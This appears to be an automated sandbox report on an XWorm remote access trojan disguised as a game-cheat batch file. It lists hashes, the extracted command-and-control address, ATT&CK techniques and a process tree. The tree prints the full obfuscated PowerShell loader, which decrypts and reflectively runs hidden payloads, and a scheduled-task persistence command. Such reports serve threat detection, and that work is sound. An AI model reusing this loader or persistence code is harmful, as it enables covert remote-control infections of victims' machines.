xworm | c4db1679718dfb67fb33fcedced456035056f41b68fc071379d27d8bd708e6ab

Analysis

max time kernel
90s
max time network
100s
platform
windows11-21h2_x64
resource
win11-20241007-en
resource tags

arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
submitted
15-11-2024 21:15

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General

Target

aimbotfr stub.bat
Size

478KB
MD5

09c4764995d1f2e96d0a228743f2425e
SHA1

0a755c43e147141ec0e9d96d243765af66d1e8a0
SHA256

c4db1679718dfb67fb33fcedced456035056f41b68fc071379d27d8bd708e6ab
SHA512

856759d72b6fff895d336acb8f86ac82ad8560f5229c1cd12baf25bf6ea9ee80035d364c69c00e66bbe9678f788a635f837032a92d3f08008a8343dcc992ff6e
SSDEEP

6144:Y5uDX7kLnB9tGFQe+6YRAFcqLw7DT8ZUXtk9clnD:Yo8LB2FQh64AFcqLw7kZ+uInD

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

80.76.49.227:9999

Mutex

g0vzRORqzebeaKQj

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral4/memory/3584-50-0x0000023471B90000-0x0000023471B9E000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
1	3584	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3584	powershell.exe
3144	powershell.exe
2800	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
4988	timeout.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-556537508-2730415644-482548075-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3144	powershell.exe
3144	powershell.exe
2800	powershell.exe
2800	powershell.exe
3584	powershell.exe
3584	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3144	powershell.exe
Token: SeDebugPrivilege	2800	powershell.exe
Token: SeIncreaseQuotaPrivilege	2800	powershell.exe
Token: SeSecurityPrivilege	2800	powershell.exe
Token: SeTakeOwnershipPrivilege	2800	powershell.exe
Token: SeLoadDriverPrivilege	2800	powershell.exe
Token: SeSystemProfilePrivilege	2800	powershell.exe
Token: SeSystemtimePrivilege	2800	powershell.exe
Token: SeProfSingleProcessPrivilege	2800	powershell.exe
Token: SeIncBasePriorityPrivilege	2800	powershell.exe
Token: SeCreatePagefilePrivilege	2800	powershell.exe
Token: SeBackupPrivilege	2800	powershell.exe
Token: SeRestorePrivilege	2800	powershell.exe
Token: SeShutdownPrivilege	2800	powershell.exe
Token: SeDebugPrivilege	2800	powershell.exe
Token: SeSystemEnvironmentPrivilege	2800	powershell.exe
Token: SeRemoteShutdownPrivilege	2800	powershell.exe
Token: SeUndockPrivilege	2800	powershell.exe
Token: SeManageVolumePrivilege	2800	powershell.exe
Token: 33	2800	powershell.exe
Token: 34	2800	powershell.exe
Token: 35	2800	powershell.exe
Token: 36	2800	powershell.exe
Token: SeIncreaseQuotaPrivilege	2800	powershell.exe
Token: SeSecurityPrivilege	2800	powershell.exe
Token: SeTakeOwnershipPrivilege	2800	powershell.exe
Token: SeLoadDriverPrivilege	2800	powershell.exe
Token: SeSystemProfilePrivilege	2800	powershell.exe
Token: SeSystemtimePrivilege	2800	powershell.exe
Token: SeProfSingleProcessPrivilege	2800	powershell.exe
Token: SeIncBasePriorityPrivilege	2800	powershell.exe
Token: SeCreatePagefilePrivilege	2800	powershell.exe
Token: SeBackupPrivilege	2800	powershell.exe
Token: SeRestorePrivilege	2800	powershell.exe
Token: SeShutdownPrivilege	2800	powershell.exe
Token: SeDebugPrivilege	2800	powershell.exe
Token: SeSystemEnvironmentPrivilege	2800	powershell.exe
Token: SeRemoteShutdownPrivilege	2800	powershell.exe
Token: SeUndockPrivilege	2800	powershell.exe
Token: SeManageVolumePrivilege	2800	powershell.exe
Token: 33	2800	powershell.exe
Token: 34	2800	powershell.exe
Token: 35	2800	powershell.exe
Token: 36	2800	powershell.exe
Token: SeIncreaseQuotaPrivilege	2800	powershell.exe
Token: SeSecurityPrivilege	2800	powershell.exe
Token: SeTakeOwnershipPrivilege	2800	powershell.exe
Token: SeLoadDriverPrivilege	2800	powershell.exe
Token: SeSystemProfilePrivilege	2800	powershell.exe
Token: SeSystemtimePrivilege	2800	powershell.exe
Token: SeProfSingleProcessPrivilege	2800	powershell.exe
Token: SeIncBasePriorityPrivilege	2800	powershell.exe
Token: SeCreatePagefilePrivilege	2800	powershell.exe
Token: SeBackupPrivilege	2800	powershell.exe
Token: SeRestorePrivilege	2800	powershell.exe
Token: SeShutdownPrivilege	2800	powershell.exe
Token: SeDebugPrivilege	2800	powershell.exe
Token: SeSystemEnvironmentPrivilege	2800	powershell.exe
Token: SeRemoteShutdownPrivilege	2800	powershell.exe
Token: SeUndockPrivilege	2800	powershell.exe
Token: SeManageVolumePrivilege	2800	powershell.exe
Token: 33	2800	powershell.exe
Token: 34	2800	powershell.exe
Token: 35	2800	powershell.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2908 wrote to memory of 3144	2908	cmd.exe	81
PID 2908 wrote to memory of 3144	2908	cmd.exe	81
PID 3144 wrote to memory of 2800	3144	powershell.exe	84
PID 3144 wrote to memory of 2800	3144	powershell.exe	84
PID 3144 wrote to memory of 1864	3144	powershell.exe	86
PID 3144 wrote to memory of 1864	3144	powershell.exe	86
PID 1864 wrote to memory of 1664	1864	WScript.exe	87
PID 1864 wrote to memory of 1664	1864	WScript.exe	87
PID 1664 wrote to memory of 3584	1664	cmd.exe	89
PID 1664 wrote to memory of 3584	1664	cmd.exe	89
PID 3584 wrote to memory of 3792	3584	powershell.exe	90
PID 3584 wrote to memory of 3792	3584	powershell.exe	90
PID 3792 wrote to memory of 4988	3792	cmd.exe	92
PID 3792 wrote to memory of 4988	3792	cmd.exe	92

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\aimbotfr stub.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2908
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4pr42IAhLNXaMsLDATuTCXnSN37MkzjWlGCxvlpI204='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('mUAA0rhmn7r0Y49Br4h9Tg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $NWFXD=New-Object System.IO.MemoryStream(,$param_var); $TWFke=New-Object System.IO.MemoryStream; $XkRIU=New-Object System.IO.Compression.GZipStream($NWFXD, [IO.Compression.CompressionMode]::Decompress); $XkRIU.CopyTo($TWFke); $XkRIU.Dispose(); $NWFXD.Dispose(); $TWFke.Dispose(); $TWFke.ToArray();}function execute_function($param_var,$param2_var){ $SgoJi=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $obVxl=$SgoJi.EntryPoint; $obVxl.Invoke($null, $param2_var);}$HAian = 'C:\Users\Admin\AppData\Local\Temp\aimbotfr stub.bat';$host.UI.RawUI.WindowTitle = $HAian;$jwIhR=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($HAian).Split([Environment]::NewLine);foreach ($fbsbe in $jwIhR) { if ($fbsbe.StartsWith(':: ')) { $Eaalc=$fbsbe.Substring(3); break; }}$payloads_var=[string[]]$Eaalc.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3144
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_648_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_648.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2800
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_648.vbs"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1864
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_648.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1664
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4pr42IAhLNXaMsLDATuTCXnSN37MkzjWlGCxvlpI204='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('mUAA0rhmn7r0Y49Br4h9Tg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $NWFXD=New-Object System.IO.MemoryStream(,$param_var); $TWFke=New-Object System.IO.MemoryStream; $XkRIU=New-Object System.IO.Compression.GZipStream($NWFXD, [IO.Compression.CompressionMode]::Decompress); $XkRIU.CopyTo($TWFke); $XkRIU.Dispose(); $NWFXD.Dispose(); $TWFke.Dispose(); $TWFke.ToArray();}function execute_function($param_var,$param2_var){ $SgoJi=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $obVxl=$SgoJi.EntryPoint; $obVxl.Invoke($null, $param2_var);}$HAian = 'C:\Users\Admin\AppData\Roaming\startup_str_648.bat';$host.UI.RawUI.WindowTitle = $HAian;$jwIhR=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($HAian).Split([Environment]::NewLine);foreach ($fbsbe in $jwIhR) { if ($fbsbe.StartsWith(':: ')) { $Eaalc=$fbsbe.Substring(3); break; }}$payloads_var=[string[]]$Eaalc.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:3584
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp4F54.tmp.bat""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3792
        
        C:\Windows\system32\timeout.exe
        
        timeout 3
        7⤵
        Delays execution with timeout.exe
        
        PID:4988

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
df472dcddb36aa24247f8c8d8a517bd7

SHA1
6f54967355e507294cbc86662a6fbeedac9d7030

SHA256
e4e0fbc974e6946d20ddfaf22c543fccc4662d28e30530ec710fec149958f9b6

SHA512
06383259258a8c32f676ddaf7ea1fec3de7318ff1338f022e03c6b33458f2ce708e073ceb1aa26e3cf37f82dac37c8163b8ebd2de56b8530dffe177845c7adca

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
824da05d0f31c23ab953467d7a3812f7

SHA1
48349c5986cb56777bf77e747eafbc2f87dfc2c1

SHA256
6d266b3c94b03d8ed8648328f707c58177b2075c963aff4cbe6576d93df518b8

SHA512
5c35ada146f86ebaefc96d82f7176f7ccabf179a5297b04fb7f56a88cb6a8a1b1bb159b04599cf8f581f49a08137530aa3cc8a1e5c67a383880c6998e84c5367

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4xqpr2v0.2ya.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp4F54.tmp.bat

Filesize
171B

MD5
e66dbdd2705a4c83ed204fe1b850c5aa

SHA1
035c44923470fc89479b3c9f3c7a3c7c46552e8e

SHA256
e9583d73906dbb181d65637e00a343945b177a5981da0e3590a052fc31c7ffd0

SHA512
63b5d45a90386b108ce6b5a41e2429e4ace28d0800a09a609de5750b408323ef1bb78d37a90eeb531ea9a69c3cc3a773b0074876e5c70fc4e10f5ce70ab55b7c

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_648.bat

Filesize
478KB

MD5
09c4764995d1f2e96d0a228743f2425e

SHA1
0a755c43e147141ec0e9d96d243765af66d1e8a0

SHA256
c4db1679718dfb67fb33fcedced456035056f41b68fc071379d27d8bd708e6ab

SHA512
856759d72b6fff895d336acb8f86ac82ad8560f5229c1cd12baf25bf6ea9ee80035d364c69c00e66bbe9678f788a635f837032a92d3f08008a8343dcc992ff6e

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_648.vbs

Filesize
115B

MD5
b600bee856c2535ce776d86d5ea9bb62

SHA1
c8dda96c689116580b2599017c984f789bd32d49

SHA256
920d0b80773cb6d807162a2f54d5043904bdf6b957446b521523ce7ed8876a59

SHA512
89de565f01b7c150c5f96f9880f1040ce9f8bebba8d318929e9166f36c2bcd443b6b4261a0664cc5e4f95c07603bf723e1de4d80e39daa05fe1a451dd0ad410a

Download Submit
memory/2800-26-0x00007FF9F7210000-0x00007FF9F7CD2000-memory.dmp

Filesize
10.8MB

Download
memory/2800-27-0x00007FF9F7210000-0x00007FF9F7CD2000-memory.dmp

Filesize
10.8MB

Download
memory/2800-16-0x00007FF9F7210000-0x00007FF9F7CD2000-memory.dmp

Filesize
10.8MB

Download
memory/2800-25-0x00007FF9F7210000-0x00007FF9F7CD2000-memory.dmp

Filesize
10.8MB

Download
memory/2800-30-0x00007FF9F7210000-0x00007FF9F7CD2000-memory.dmp

Filesize
10.8MB

Download
memory/3144-13-0x00000217F55B0000-0x00000217F55B8000-memory.dmp

Filesize
32KB

Download
memory/3144-0-0x00007FF9F7213000-0x00007FF9F7215000-memory.dmp

Filesize
8KB

Download
memory/3144-14-0x00000217F5920000-0x00000217F5952000-memory.dmp

Filesize
200KB

Download
memory/3144-12-0x00007FF9F7210000-0x00007FF9F7CD2000-memory.dmp

Filesize
10.8MB

Download
memory/3144-11-0x00007FF9F7210000-0x00007FF9F7CD2000-memory.dmp

Filesize
10.8MB

Download
memory/3144-6-0x00000217F5580000-0x00000217F55A2000-memory.dmp

Filesize
136KB

Download
memory/3144-39-0x00007FF9F7210000-0x00007FF9F7CD2000-memory.dmp

Filesize
10.8MB

Download
memory/3144-49-0x00007FF9F7210000-0x00007FF9F7CD2000-memory.dmp

Filesize
10.8MB

Download
memory/3144-7-0x00007FF9F7210000-0x00007FF9F7CD2000-memory.dmp

Filesize
10.8MB

Download
memory/3584-50-0x0000023471B90000-0x0000023471B9E000-memory.dmp

Filesize
56KB

Download